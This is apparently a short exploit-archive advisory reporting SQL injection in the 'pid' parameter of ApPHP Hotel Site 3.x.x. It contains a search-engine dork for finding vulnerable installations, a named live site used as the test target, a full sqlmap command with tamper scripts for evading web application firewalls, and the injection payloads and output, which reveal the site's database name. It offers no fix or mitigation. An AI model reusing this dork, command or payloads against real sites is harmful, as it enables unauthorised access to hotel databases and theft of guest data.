ApPHP Hotel Site 3.x.x SQL Injection

`ApPHP Hotel site SQLi Vulnerability  
  
ApPHP Hotel Site is an Hotel application programs using PHP Language.  
  
title : ApPHP Hotel Site v.3.x.x.  
godork : ".php?pid=" "ApPHP Hotel Site"  
  
Affected version : v.3.x.x  
tested site : http://www.hotelbran.com/index.php?pid=%27null   
python sqlmap.py -u "http://www.hotelbran.com/index.php?pid=4" --current-db --dbms=mysql --no-cast --level 3 --risk 3 --threads 5 --tamper=between,randomcase,charencode --technique=BEUS --random-agent --beep --check-waf  
  
result :  
sqlmap identified the following injection points with a total of 251 HTTP(s) requests:  
---  
Place: GET  
Parameter: pid  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: pid=-6768' OR (8203=8203) AND 'Bjdy'='Bjdy  
  
Type: error-based  
Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)  
Payload: pid=4' AND EXTRACTVALUE(2795,CONCAT(0x5c,0x71726a6b71,(SELECT (CASE WHEN (2795=2795) THEN 1 ELSE 0 END)),0x716f777071)) AND 'Ufik'='Ufik  
---  
[15:16:35] [WARNING] changes made by tampering scripts are not included in shown payload content(s)  
[15:16:35] [INFO] the back-end DBMS is MySQL  
web application technology: Apache, PHP 5.4.41  
back-end DBMS: MySQL 5.1  
[15:16:35] [INFO] fetching current database  
[15:16:36] [INFO] retrieved: hotelbra_db  
current database: 'hotelbra_db'  
  
  
+ Credits :  
all of pemancing ghalau.... /^wishnusakti  
`